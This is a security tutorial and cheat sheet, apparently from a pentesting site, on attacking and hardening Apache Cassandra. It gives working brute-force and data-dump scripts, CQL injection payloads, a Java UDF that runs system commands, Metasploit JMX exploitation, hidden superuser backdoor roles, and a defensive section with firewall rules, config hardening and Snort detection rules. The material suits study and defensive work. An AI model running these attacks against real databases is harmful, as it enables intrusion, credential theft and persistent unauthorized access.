# Cassandra - Port 9042, 9160

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Apache Cassandra?

**Apache Cassandra** is a distributed NoSQL database that provides:

* **Linear scalability** - Add nodes without downtime
* **High availability** - No single point of failure
* **Multi-datacenter replication** - Geographic distribution
* **Eventual consistency** - Tunable consistency levels
* **Column-family data model** - Wide-row storage
* **CQL (Cassandra Query Language)** - SQL-like syntax

#### Use Cases

**Real-World Deployments:**

* **Netflix** - Streaming platform backend
* **Apple** - iCloud infrastructure
* **Instagram** - User data and feeds
* **Uber** - Trip data storage
* **Discord** - Chat message storage
* **eBay** - Product catalog

**Common Applications:**

* Time-series data (IoT sensors, logs)
* Real-time analytics
* Product catalogs
* Social media platforms
* Gaming leaderboards
* Financial transactions

#### Architecture Overview

```
┌─────────────────────────────────────────────────────────────┐
│              Cassandra Cluster Architecture                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐               │
│  │  Node 1  │────│  Node 2  │────│  Node 3  │               │
│  │  (DC1)   │    │  (DC1)   │    │  (DC1)   │               │
│  └──────────┘    └──────────┘    └──────────┘               │
│       │               │                │                    │
│       └───────────────┴────────────────┘                    │
│              Ring Topology                                  │
│                                                             │
│  ┌──────────┐    ┌──────────┐                               │
│  │  Node 4  │────│  Node 5  │                               │
│  │  (DC2)   │    │  (DC2)   │                               │
│  └──────────┘    └──────────┘                               │
│         Multi-Datacenter                                    │
└─────────────────────────────────────────────────────────────┘
```

**Key Concepts:**

**Ring Topology:**

* Nodes arranged in circular ring
* No master node (peer-to-peer)
* Data distributed via consistent hashing

**Replication:**

* Data replicated across multiple nodes
* Configurable replication factor (RF)
* Different strategies (SimpleStrategy, NetworkTopologyStrategy)

**Consistency Levels:**

* ONE - One replica responds
* QUORUM - Majority of replicas
* ALL - All replicas respond
* LOCAL\_QUORUM - Majority in local DC

#### Data Model

```
Keyspace (Database)
├── Column Family (Table)
│   ├── Row (Partition Key)
│   │   ├── Column 1
│   │   ├── Column 2
│   │   └── Column N
│   └── Row (Partition Key)
│       └── Columns...
└── Column Family
    └── Rows...
```

**Terminology:**

* **Keyspace** - Similar to database/schema
* **Column Family** - Similar to table
* **Partition Key** - Determines data distribution
* **Clustering Key** - Determines sort order within partition
* **Column** - Name-value pair with timestamp

#### Default Ports

**Port 9042** - Native Protocol (CQL)

* Binary protocol
* Used by modern clients
* CQL queries
* Cassandra 1.2+

**Port 9160** - Thrift Protocol (Legacy)

* RPC protocol
* Deprecated but still found
* Older Cassandra versions
* Legacy applications

**Additional Ports:**

* **7000** - Inter-node communication (gossip)
* **7001** - SSL inter-node communication
* **7199** - JMX monitoring
* **8888** - OpsCenter (if installed)
* **9142** - Native protocol with SSL

```
PORT     STATE SERVICE
7000/tcp open  cassandra-internode
7199/tcp open  cassandra-jmx
9042/tcp open  cassandra-native
9160/tcp open  cassandra-thrift
```

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 9042,9160 -sV <target-ip>

# Detailed scan
nmap -p 9042,9160,7000,7199 -sV -sC <target-ip>

# Comprehensive Cassandra scan
nmap -p 7000,7001,7199,8888,9042,9142,9160 -sV -A <target-ip>

# Scan entire subnet
nmap -p 9042,9160 -sV <target-subnet>/24 -oA cassandra-scan

# Script scan
nmap -p 9042,9160 --script cassandra-info,cassandra-brute <target-ip>
```

**Sample Output:**

```
PORT     STATE SERVICE   VERSION
9042/tcp open  cassandra Apache Cassandra 3.11.10 (native protocol 4)
| cassandra-info:
|   Cluster Name: Test Cluster
|   Version: 3.11.10
|   Snitch: SimpleSnitch
|   Partitioner: Murmur3Partitioner
|_  Schema Version: 75ea3ea5-1234-5678-9abc-def012345678
9160/tcp open  cassandra Apache Cassandra (Thrift)
7000/tcp open  cassandra inter-node communication
7199/tcp open  cassandra-jmx
```

#### Service Fingerprinting

**Using Nmap Scripts**

```bash
# Cassandra info script
nmap -p 9042 --script cassandra-info <target-ip>

# Output includes:
# - Cluster name
# - Cassandra version
# - Snitch type
# - Partitioner
# - Schema version
```

**Banner Grabbing**

```bash
# Native protocol (9042)
echo "" | nc <target-ip> 9042 | xxd

# Thrift protocol (9160)
echo "" | nc <target-ip> 9160

# Check for version in response
```

**Version Detection via CQL**

```bash
# Using cqlsh
cqlsh <target-ip>
SELECT release_version FROM system.local;

# Output: 3.11.10
```

#### Shodan Queries

```
port:9042 cassandra
port:9160 cassandra
"Invalid or unsupported protocol version"
port:9160 Cluster
cassandra cluster
product:"Apache Cassandra"
```

### Authentication Testing

#### Check Authentication Requirements

**Test Unauthenticated Access**

```bash
# Install cqlsh
pip3 install cqlsh

# Try connecting without credentials
cqlsh <target-ip>

# If connects successfully, no authentication!
# This is CRITICAL vulnerability
```

**Common Scenarios:**

1. **No authentication configured** (default in many deployments)
2. **Default credentials** (cassandra/cassandra)
3. **Weak passwords**
4. **Authentication enabled but misconfigured**

#### Default Credentials

**Standard Default Credentials:**

```
Username: cassandra
Password: cassandra

Username: admin
Password: admin

Username: admin
Password: cassandra
```

**Testing Default Credentials:**

```bash
# CQL native protocol
cqlsh <target-ip> -u cassandra -p cassandra

# If successful:
# Connected to Test Cluster at target-ip:9042.
# [cqlsh 5.0.1 | Cassandra 3.11.10 | CQL spec 3.4.4]

# Check current user
cqlsh> SELECT * FROM system_auth.roles;
```

#### Brute Force Authentication

**Using Hydra**

```bash
# Brute force Cassandra authentication
hydra -L users.txt -P passwords.txt <target-ip> cassandra

# With specific port
hydra -L users.txt -P passwords.txt -s 9042 <target-ip> cassandra

# Single user
hydra -l cassandra -P /usr/share/wordlists/rockyou.txt <target-ip> cassandra
```

**Using Nmap**

```bash
# Nmap brute force script
nmap -p 9042 --script cassandra-brute \
  --script-args userdb=users.txt,passdb=passwords.txt \
  <target-ip>
```

**Custom Python Script**

```python
#!/usr/bin/env python3
"""
Cassandra Authentication Brute Force
"""
from cassandra.cluster import Cluster
from cassandra.auth import PlainTextAuthProvider
import sys

def brute_force(host, port, username, password_file):
    """Brute force Cassandra authentication"""
    
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            
            try:
                auth_provider = PlainTextAuthProvider(
                    username=username,
                    password=password
                )
                
                cluster = Cluster(
                    [host],
                    port=port,
                    auth_provider=auth_provider,
                    connect_timeout=5
                )
                
                session = cluster.connect()
                print(f"[+] SUCCESS: {username}:{password}")
                cluster.shutdown()
                return password
                
            except Exception as e:
                print(f"[-] Failed: {username}:{password}")
                continue
    
    print("[-] Password not found")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <host> <port> <username> <password_file>")
        sys.exit(1)
    
    brute_force(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])
```

## Exploitation & Enumeration

#### Connect to Cassandra

**Using cqlsh (Primary Tool)**

```bash
# No authentication
cqlsh <target-ip>

# With authentication
cqlsh <target-ip> -u cassandra -p cassandra

# Specify port
cqlsh <target-ip> 9042 -u cassandra -p cassandra

# Execute command directly
cqlsh <target-ip> -e "SELECT * FROM system.local;"

# Execute from file
cqlsh <target-ip> -f queries.cql
```

**Using Python Driver**

```python
from cassandra.cluster import Cluster
from cassandra.auth import PlainTextAuthProvider

# Without authentication
cluster = Cluster(['target-ip'])
session = cluster.connect()

# With authentication
auth_provider = PlainTextAuthProvider(username='cassandra', password='cassandra')
cluster = Cluster(['target-ip'], auth_provider=auth_provider)
session = cluster.connect()

# Execute query
rows = session.execute('SELECT * FROM system.local')
for row in rows:
    print(row)

cluster.shutdown()
```

#### Cluster Information Enumeration

**Basic Cluster Info**

```sql
-- Cluster metadata
SELECT cluster_name, thrift_version, data_center, partitioner, 
       native_protocol_version, rack, release_version 
FROM system.local;

-- Sample output:
-- cluster_name: Production Cluster
-- release_version: 3.11.10
-- data_center: DC1
-- rack: rack1
```

**Node Information**

```sql
-- All nodes in cluster
SELECT * FROM system.peers;

-- Shows:
-- - peer (IP address)
-- - data_center
-- - rack
-- - release_version
-- - rpc_address
-- - schema_version

-- Seed nodes configuration
-- (Check cassandra.yaml on filesystem if accessible)
```

**System Information**

```sql
-- Available keyspaces
SELECT keyspace_name FROM system_schema.keyspaces;

-- Common keyspaces:
-- - system (internal)
-- - system_auth (authentication/authorization)
-- - system_schema (schema metadata)
-- - system_distributed (distributed features)
-- - system_traces (tracing info)
-- - (application keyspaces)

-- Cassandra version
SELECT release_version FROM system.local;

-- Cluster name
SELECT cluster_name FROM system.local;
```

#### Keyspace Enumeration

**List All Keyspaces**

```sql
-- Method 1
SELECT keyspace_name FROM system_schema.keyspaces;

-- Method 2
DESCRIBE KEYSPACES;

-- Method 3 (older Cassandra)
SELECT * FROM system.schema_keyspaces;
```

**Describe Keyspace**

```sql
-- Describe specific keyspace
DESCRIBE KEYSPACE system_auth;

-- Output shows:
-- - Replication strategy
-- - Replication factor
-- - Tables
-- - User-defined types
-- - Functions

-- Example output:
-- CREATE KEYSPACE system_auth WITH replication = {
--   'class': 'SimpleStrategy',
--   'replication_factor': '1'
-- };
```

**Keyspace Details**

```sql
-- Get replication info
SELECT * FROM system_schema.keyspaces 
WHERE keyspace_name = 'system_auth';

-- Table count per keyspace
SELECT keyspace_name, COUNT(*) as table_count 
FROM system_schema.tables 
GROUP BY keyspace_name;
```

#### Table Enumeration

**List Tables**

```sql
-- All tables
SELECT keyspace_name, table_name 
FROM system_schema.tables;

-- Tables in specific keyspace
SELECT table_name FROM system_schema.tables 
WHERE keyspace_name = 'system_auth';

-- Or using DESCRIBE
DESCRIBE TABLES;
```

**Describe Table**

```sql
-- Full table schema
DESCRIBE TABLE system_auth.roles;

-- Shows:
-- - Columns and types
-- - Partition key
-- - Clustering key
-- - Table options

-- Column information
SELECT * FROM system_schema.columns 
WHERE keyspace_name = 'system_auth' 
  AND table_name = 'roles';
```

**Table Statistics**

```sql
-- Estimated row count (may be inaccurate)
SELECT * FROM system.size_estimates 
WHERE keyspace_name = 'application_keyspace';

-- Token ranges
SELECT * FROM system.local;
```

#### User & Role Enumeration

**List All Users/Roles**

```sql
-- All roles (users)
SELECT * FROM system_auth.roles;

-- Output shows:
-- - role (username)
-- - can_login (boolean)
-- - is_superuser (boolean)
-- - member_of (list of roles)
-- - salted_hash (password hash)

-- Example:
-- role      | can_login | is_superuser | salted_hash
-- ----------+-----------+--------------+-------------
-- cassandra | true      | true         | $2a$10$...
-- appuser   | true      | false        | $2a$10$...
```

**Check Current User**

```sql
-- Current authenticated user
SELECT role FROM system_auth.role_members 
WHERE role = 'cassandra';

-- Or check via session
-- (depends on client)
```

**Role Permissions**

```sql
-- All permissions
SELECT * FROM system_auth.role_permissions;

-- Shows:
-- - role
-- - resource (keyspace/table)
-- - permissions (SELECT, INSERT, UPDATE, DELETE, etc.)

-- User's specific permissions
SELECT * FROM system_auth.role_permissions 
WHERE role = 'appuser';
```

#### Data Exfiltration

**Dump Sensitive Tables**

```sql
-- User credentials (if application stores them)
SELECT * FROM users.credentials;
SELECT * FROM accounts.users;
SELECT * FROM authentication.user_auth;

-- Configuration data
SELECT * FROM configuration.settings;
SELECT * FROM configuration.config;

-- API keys / tokens
SELECT * FROM api.keys;
SELECT * FROM oauth.tokens;

-- Personal information
SELECT * FROM users.profiles;
SELECT * FROM customers.data;
```

**Extract Password Hashes**

```sql
-- Cassandra user hashes
SELECT role, salted_hash FROM system_auth.roles 
WHERE can_login = true;

-- Example hash format:
-- $2a$10$AbCdEfGhIjKlMnOpQrStUvWxYz1234567890ABCDEFGHIJK

-- These are bcrypt hashes
-- Crack with: hashcat -m 3200 hash.txt wordlist.txt
```

**Search for Sensitive Data**

```sql
-- Find tables with password columns
SELECT keyspace_name, table_name, column_name 
FROM system_schema.columns 
WHERE column_name LIKE '%password%' 
   OR column_name LIKE '%secret%'
   OR column_name LIKE '%token%'
   OR column_name LIKE '%key%';

-- Query those tables
-- (Construct queries based on results)
```

#### Export Data

**Using cqlsh COPY Command**

```sql
-- Export to CSV
COPY system_auth.roles TO 'roles.csv' WITH HEADER = true;

-- Export specific columns
COPY users.credentials (username, password_hash) 
TO 'credentials.csv' WITH HEADER = true;

-- Export with delimiter
COPY users.data TO 'users.txt' WITH DELIMITER = '|';
```

**Using DESCRIBE to Export Schema**

```bash
# Export entire schema
cqlsh <target-ip> -e "DESCRIBE FULL SCHEMA" > schema.cql

# Export specific keyspace
cqlsh <target-ip> -e "DESCRIBE KEYSPACE application" > app_schema.cql
```

**Automated Dump Script**

```bash
#!/bin/bash
# Cassandra Data Dump Script

HOST=$1
USER=${2:-cassandra}
PASS=${3:-cassandra}
OUTPUT_DIR="cassandra_dump"

mkdir -p $OUTPUT_DIR

echo "[*] Dumping Cassandra data from $HOST"

# Get keyspaces
KEYSPACES=$(cqlsh $HOST -u $USER -p $PASS -e "SELECT keyspace_name FROM system_schema.keyspaces;" | grep -v "^-" | grep -v "^(" | grep -v "^keyspace_name" | grep -v "^$")

for keyspace in $KEYSPACES; do
    echo "[*] Processing keyspace: $keyspace"
    
    # Skip system keyspaces (optional)
    if [[ $keyspace == system* ]]; then
        echo "    [!] Skipping system keyspace"
        continue
    fi
    
    # Get tables in keyspace
    TABLES=$(cqlsh $HOST -u $USER -p $PASS -e "SELECT table_name FROM system_schema.tables WHERE keyspace_name = '$keyspace';" | grep -v "^-" | grep -v "^(" | grep -v "^table_name" | grep -v "^$")
    
    for table in $TABLES; do
        echo "    [*] Dumping table: $keyspace.$table"
        
        # Export to CSV
        cqlsh $HOST -u $USER -p $PASS -e "COPY $keyspace.$table TO '$OUTPUT_DIR/${keyspace}_${table}.csv' WITH HEADER = true;" 2>/dev/null
        
        if [ $? -eq 0 ]; then
            echo "        [+] Exported to ${keyspace}_${table}.csv"
        else
            echo "        [-] Failed to export ${keyspace}_${table}"
        fi
    done
done

echo "[+] Dump complete! Check $OUTPUT_DIR/"
```

## Advanced Exploitation

#### CQL Injection

**Vulnerable Code Example:**

```python
# VULNERABLE
query = f"SELECT * FROM users WHERE username = '{user_input}'"
session.execute(query)

# User input: admin' OR 1=1 --
# Results in: SELECT * FROM users WHERE username = 'admin' OR 1=1 --'
```

**Exploitation:**

```sql
-- Authentication bypass (if vulnerable)
username: admin' OR 1=1 --
password: anything

-- Extract data
username: ' UNION SELECT * FROM other_table --

-- Note: CQL UNION is limited compared to SQL
-- But creative WHERE clause manipulation is possible
```

**Time-Based Blind Injection:**

```sql
-- Not directly supported in CQL
-- But application-level timing attacks possible
```

**Prevention:**

```python
# SECURE - Use prepared statements
query = "SELECT * FROM users WHERE username = ?"
prepared = session.prepare(query)
session.execute(prepared, (user_input,))
```

#### User Defined Functions (UDF) Exploitation

**Concept:** Cassandra supports UDFs in Java/JavaScript

**Create Malicious UDF (Requires CREATE permission):**

```sql
-- Java-based UDF for command execution
CREATE OR REPLACE FUNCTION exploit.exec_command(cmd text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS $$
    try {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        java.io.BufferedReader reader = new java.io.BufferedReader(
            new java.io.InputStreamReader(proc.getInputStream())
        );
        String line;
        StringBuilder output = new StringBuilder();
        while ((line = reader.readLine()) != null) {
            output.append(line).append("\n");
        }
        return output.toString();
    } catch (Exception e) {
        return e.toString();
    }
$$;

-- Execute command
SELECT exploit.exec_command('whoami') FROM system.local;
SELECT exploit.exec_command('cat /etc/passwd') FROM system.local;
```

**JavaScript UDF:**

```sql
-- Simpler but more limited
CREATE OR REPLACE FUNCTION exploit.simple_exec(input text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE javascript
AS $$
    input
$$;
```

**Limitations:**

* Requires CREATE FUNCTION permission
* UDFs often disabled (enable\_user\_defined\_functions: false)
* Sandboxed by default
* May require superuser privileges

#### JMX Exploitation (Port 7199)

**If JMX Exposed (Common Misconfiguration):**

```bash
# Connect to JMX
jconsole <target-ip>:7199

# Or using jmxterm
java -jar jmxterm.jar -l <target-ip>:7199

# List MBeans
beans

# Get node info
get -b org.apache.cassandra.db:type=StorageService Version

# Execute operations
run -b org.apache.cassandra.db:type=StorageService operationName
```

**JMX RCE (If Unauthenticated):**

```bash
# Using Metasploit
msfconsole
use exploit/multi/misc/java_jmx_server
set RHOSTS <target-ip>
set RPORT 7199
exploit
```

### Post-Exploitation

#### Privilege Escalation

**Create Superuser Account**

```sql
-- If you have CREATE USER permission
CREATE ROLE backdoor WITH PASSWORD = 'SecretPass123!' 
AND SUPERUSER = true 
AND LOGIN = true;

-- Verify
SELECT * FROM system_auth.roles WHERE role = 'backdoor';

-- Grant all permissions
GRANT ALL ON ALL KEYSPACES TO backdoor;
```

**Modify Existing User**

```sql
-- Elevate privileges (if SUPERUSER)
ALTER ROLE appuser WITH SUPERUSER = true;

-- Change password
ALTER ROLE cassandra WITH PASSWORD = 'newpassword';
```

**Create Role for Persistence**

```sql
-- Create hidden role
CREATE ROLE ".system" WITH PASSWORD = 'hidden' 
AND SUPERUSER = true 
AND LOGIN = true;
```

#### Persistence Mechanisms

**Backdoor User:**

```sql
-- Create service account (less obvious)
CREATE ROLE monitoring_service WITH PASSWORD = 'LongRandomPassword123!' 
AND SUPERUSER = true 
AND LOGIN = true;

-- Or use common application name
CREATE ROLE metrics_collector WITH PASSWORD = 'backdoor' 
AND SUPERUSER = true 
AND LOGIN = true;
```

**UDF Backdoor:**

```sql
-- Create backdoor UDF
CREATE FUNCTION IF NOT EXISTS system.backdoor(key text)
RETURNS text
LANGUAGE java
AS $$
    // Backdoor logic
    return "OK";
$$;

-- Call periodically to maintain access
```

**Data Modification for Persistence:**

```sql
-- Insert trigger data (application-specific)
INSERT INTO jobs.scheduled (id, command, schedule)
VALUES (uuid(), '/tmp/backdoor.sh', '*/5 * * * *');
```

#### Lateral Movement

**Extract Connection Information:**

```sql
-- Look for connection strings in configuration tables
SELECT * FROM config.database_connections;
SELECT * FROM settings.external_services;

-- API endpoints and credentials
SELECT * FROM api.endpoints;
SELECT * FROM integration.credentials;
```

**Harvest Credentials:**

```sql
-- User passwords (application-stored)
SELECT username, password_hash FROM users.authentication;

-- API keys
SELECT service, api_key FROM services.credentials;

-- OAuth tokens
SELECT user_id, access_token FROM oauth.tokens;

-- Try these credentials on:
-- - Other databases
-- - SSH servers
-- - Web applications
-- - Cloud services
```

**Network Topology Discovery:**

```sql
-- Cassandra cluster nodes
SELECT peer, data_center, rack FROM system.peers;

-- Use this to map internal network
-- Pivot to other nodes if accessible
```

## Defense & Hardening

#### Enable Authentication

**cassandra.yaml Configuration:**

```yaml
# Enable authentication
authenticator: PasswordAuthenticator

# Enable authorization
authorizer: CassandraAuthorizer

# Restart required after changes
```

**Set Strong Passwords:**

```sql
-- Connect as default cassandra user
-- Change default password
ALTER ROLE cassandra WITH PASSWORD = 'VeryStrongPassword123!@#$%';

-- Create application users
CREATE ROLE appuser WITH PASSWORD = 'AppUserPass123!' 
AND LOGIN = true;

-- Grant minimal permissions
GRANT SELECT, MODIFY ON KEYSPACE application TO appuser;

-- Disable or delete default user (after creating alternatives)
ALTER ROLE cassandra WITH LOGIN = false;
```

**Role-Based Access Control:**

```sql
-- Create read-only role
CREATE ROLE readonly WITH PASSWORD = 'ReadPass123!' 
AND LOGIN = true;
GRANT SELECT ON ALL KEYSPACES TO readonly;

-- Create write role for specific keyspace
CREATE ROLE writer WITH PASSWORD = 'WritePass123!' 
AND LOGIN = true;
GRANT SELECT, MODIFY ON KEYSPACE application TO writer;

-- Create admin role (not superuser)
CREATE ROLE admin WITH PASSWORD = 'AdminPass123!' 
AND LOGIN = true;
GRANT ALL ON KEYSPACE application TO admin;
```

#### Network Security

**Bind to Specific Interface:**

```yaml
# cassandra.yaml
# Don't bind to all interfaces
# listen_address: 0.0.0.0  # DANGEROUS

# Bind to specific IP
listen_address: 192.168.1.100

# RPC address (client connections)
rpc_address: 192.168.1.100

# Or use broadcast addresses for multi-DC
broadcast_address: 192.168.1.100
broadcast_rpc_address: 192.168.1.100
```

**Firewall Rules:**

```bash
# UFW
sudo ufw deny 9042/tcp
sudo ufw deny 9160/tcp
sudo ufw deny 7199/tcp

# Allow from application servers only
sudo ufw allow from 192.168.1.0/24 to any port 9042
sudo ufw allow from 192.168.1.0/24 to any port 9160

# iptables
sudo iptables -A INPUT -p tcp --dport 9042 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9160 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9042 -j DROP
sudo iptables -A INPUT -p tcp --dport 9160 -j DROP
sudo iptables -A INPUT -p tcp --dport 7199 -j DROP

# Inter-node communication (only within cluster)
sudo iptables -A INPUT -p tcp --dport 7000 -s 192.168.1.100 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 7000 -s 192.168.1.101 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 7000 -j DROP
```

**Enable SSL/TLS:**

```yaml
# cassandra.yaml

# Client-to-node encryption
client_encryption_options:
  enabled: true
  optional: false
  keystore: /path/to/keystore
  keystore_password: keystore_password
  require_client_auth: true
  truststore: /path/to/truststore
  truststore_password: truststore_password

# Node-to-node encryption
server_encryption_options:
  internode_encryption: all
  keystore: /path/to/keystore
  keystore_password: keystore_password
  truststore: /path/to/truststore
  truststore_password: truststore_password
```

#### Disable Dangerous Features

**Disable UDFs:**

```yaml
# cassandra.yaml
enable_user_defined_functions: false
enable_scripted_user_defined_functions: false
enable_user_defined_functions_threads: false
```

**Secure JMX:**

```yaml
# cassandra-env.sh

# Enable JMX authentication
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.authenticate=true"
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.password.file=/path/to/jmxremote.password"
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.access.file=/path/to/jmxremote.access"

# Enable SSL for JMX
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.ssl=true"

# Bind JMX to localhost only
JVM_OPTS="$JVM_OPTS -Djava.rmi.server.hostname=127.0.0.1"
```

**Disable Thrift (If Not Needed):**

```yaml
# cassandra.yaml
start_rpc: false
```

#### Monitoring & Detection

**Enable Audit Logging:**

```yaml
# cassandra.yaml (Cassandra 4.0+)
audit_logging_options:
  enabled: true
  logger: BinAuditLogger
  audit_logs_dir: /var/log/cassandra/audit
  included_keyspaces: application
  excluded_categories: DCL
```

**Monitor Logs:**

```bash
# System log
tail -f /var/log/cassandra/system.log

# Look for suspicious activity
grep -i "authentication" /var/log/cassandra/system.log
grep -i "permission denied" /var/log/cassandra/system.log
grep -i "CREATE ROLE" /var/log/cassandra/system.log
grep -i "ALTER ROLE" /var/log/cassandra/system.log

# Failed login attempts
grep "Failed login" /var/log/cassandra/system.log

# Unusual queries
grep "SELECT.*FROM.*system_auth" /var/log/cassandra/system.log
```

**Intrusion Detection:**

```bash
# Snort rules for Cassandra
alert tcp any any -> any 9042 (msg:"Cassandra authentication attempt"; flow:to_server; content:"system_auth"; sid:1000001;)

alert tcp any any -> any 9042 (msg:"Cassandra CREATE ROLE attempt"; flow:to_server; content:"CREATE ROLE"; nocase; sid:1000002;)

alert tcp any any -> any 9042 (msg:"Cassandra UDF creation"; flow:to_server; content:"CREATE FUNCTION"; nocase; sid:1000003;)

alert tcp any any -> any 7199 (msg:"JMX connection attempt"; flow:to_server; sid:1000004;)
```

**Connection Monitoring:**

```bash
# Monitor active connections
nodetool -h localhost -p 7199 netstats

# Check connected clients
netstat -tn | grep :9042

# Watch for unusual connections
watch -n 5 'netstat -tn | grep :9042 | wc -l'
```

#### Regular Security Practices

```bash
# Update Cassandra regularly
# Check: https://cassandra.apache.org/

# Current version
nodetool version

# Review users regularly
cqlsh -e "SELECT * FROM system_auth.roles;"

# Review permissions
cqlsh -e "SELECT * FROM system_auth.role_permissions;"

# Check for UDFs
cqlsh -e "SELECT * FROM system_schema.functions;"

# Backup authentication data
nodetool snapshot system_auth

# Test backups regularly
# Restore procedure

# Security audit script
#!/bin/bash
echo "[*] Cassandra Security Audit"

# Check if authentication enabled
grep "authenticator:" /etc/cassandra/cassandra.yaml

# Check default user
cqlsh -u cassandra -p cassandra -e "SELECT * FROM system.local;" 2>&1 | grep -q "Connected"
if [ $? -eq 0 ]; then
    echo "[!] WARNING: Default credentials work!"
fi

# Check UDF status
grep "enable_user_defined_functions:" /etc/cassandra/cassandra.yaml

# Check JMX authentication
grep "jmxremote.authenticate" /etc/cassandra/cassandra-env.sh

# Check SSL status
grep "client_encryption_options" /etc/cassandra/cassandra.yaml -A 5

echo "[*] Audit complete!"
```

### Tools & Scripts

#### Essential Tools

1. **cqlsh** - Official CQL shell
2. **nodetool** - Cluster management utility
3. **cassandra-driver** - Python driver
4. **DataStax DevCenter** - GUI client (deprecated)
5. **DBeaver** - Universal database tool (supports Cassandra)

#### Python Enumeration Script

```python
#!/usr/bin/env python3
"""
Cassandra Enumeration Tool
"""
from cassandra.cluster import Cluster
from cassandra.auth import PlainTextAuthProvider
import sys

class CassandraEnum:
    def __init__(self, host, port=9042, username=None, password=None):
        self.host = host
        self.port = port
        
        if username and password:
            auth_provider = PlainTextAuthProvider(
                username=username,
                password=password
            )
            self.cluster = Cluster([host], port=port, auth_provider=auth_provider)
        else:
            self.cluster = Cluster([host], port=port)
        
        try:
            self.session = self.cluster.connect()
            print(f"[+] Connected to {host}:{port}")
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            sys.exit(1)
    
    def get_cluster_info(self):
        """Get cluster information"""
        print("\n[*] Cluster Information:")
        
        query = """
        SELECT cluster_name, release_version, data_center, rack
        FROM system.local
        """
        
        rows = self.session.execute(query)
        for row in rows:
            print(f"    Cluster: {row.cluster_name}")
            print(f"    Version: {row.release_version}")
            print(f"    DC: {row.data_center}")
            print(f"    Rack: {row.rack}")
    
    def list_keyspaces(self):
        """List all keyspaces"""
        print("\n[*] Keyspaces:")
        
        query = "SELECT keyspace_name FROM system_schema.keyspaces"
        rows = self.session.execute(query)
        
        for row in rows:
            print(f"    - {row.keyspace_name}")
    
    def list_tables(self, keyspace=None):
        """List tables"""
        print(f"\n[*] Tables:")
        
        if keyspace:
            query = f"SELECT table_name FROM system_schema.tables WHERE keyspace_name = '{keyspace}'"
        else:
            query = "SELECT keyspace_name, table_name FROM system_schema.tables"
        
        rows = self.session.execute(query)
        for row in rows:
            if keyspace:
                print(f"    - {row.table_name}")
            else:
                print(f"    - {row.keyspace_name}.{row.table_name}")
    
    def list_users(self):
        """List users/roles"""
        print("\n[*] Users/Roles:")
        
        try:
            query = "SELECT role, can_login, is_superuser FROM system_auth.roles"
            rows = self.session.execute(query)
            
            for row in rows:
                superuser = "SUPERUSER" if row.is_superuser else ""
                login = "LOGIN" if row.can_login else "NO LOGIN"
                print(f"    - {row.role} ({login} {superuser})")
        except Exception as e:
            print(f"    [-] Cannot access system_auth: {e}")
    
    def close(self):
        """Close connection"""
        self.cluster.shutdown()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port] [username] [password]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 9042
    username = sys.argv[3] if len(sys.argv) > 3 else None
    password = sys.argv[4] if len(sys.argv) > 4 else None
    
    enum = CassandraEnum(host, port, username, password)
    enum.get_cluster_info()
    enum.list_keyspaces()
    enum.list_tables()
    enum.list_users()
    enum.close()
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 9042,9160 -sV <target>
nmap -p 9042 --script cassandra-info <target>

# CONNECT
cqlsh <target>
cqlsh <target> -u cassandra -p cassandra

# ENUMERATE
SELECT * FROM system.local;
SELECT keyspace_name FROM system_schema.keyspaces;
DESCRIBE KEYSPACES;
SELECT * FROM system_auth.roles;

# EXTRACT DATA
COPY system_auth.roles TO 'roles.csv' WITH HEADER = true;
SELECT role, salted_hash FROM system_auth.roles WHERE can_login = true;

# PRIVILEGE ESCALATION
CREATE ROLE backdoor WITH PASSWORD = 'pass' AND SUPERUSER = true AND LOGIN = true;
ALTER ROLE user WITH SUPERUSER = true;

# BRUTE FORCE
hydra -l cassandra -P passwords.txt <target> cassandra
nmap -p 9042 --script cassandra-brute <target>
```

#### Important Files

```
/etc/cassandra/cassandra.yaml       # Main configuration
/etc/cassandra/cassandra-env.sh     # JVM settings
/var/log/cassandra/system.log       # System log
/var/lib/cassandra/data/            # Data files
/etc/cassandra/jmxremote.password   # JMX credentials
```

#### Default Credentials

```
cassandra:cassandra
admin:admin
```

#### Key System Tables

```
system.local                 # Cluster info
system.peers                 # Node info
system_auth.roles            # Users
system_auth.role_permissions # Permissions
system_schema.keyspaces      # Keyspaces
system_schema.tables         # Tables
```

### Conclusion

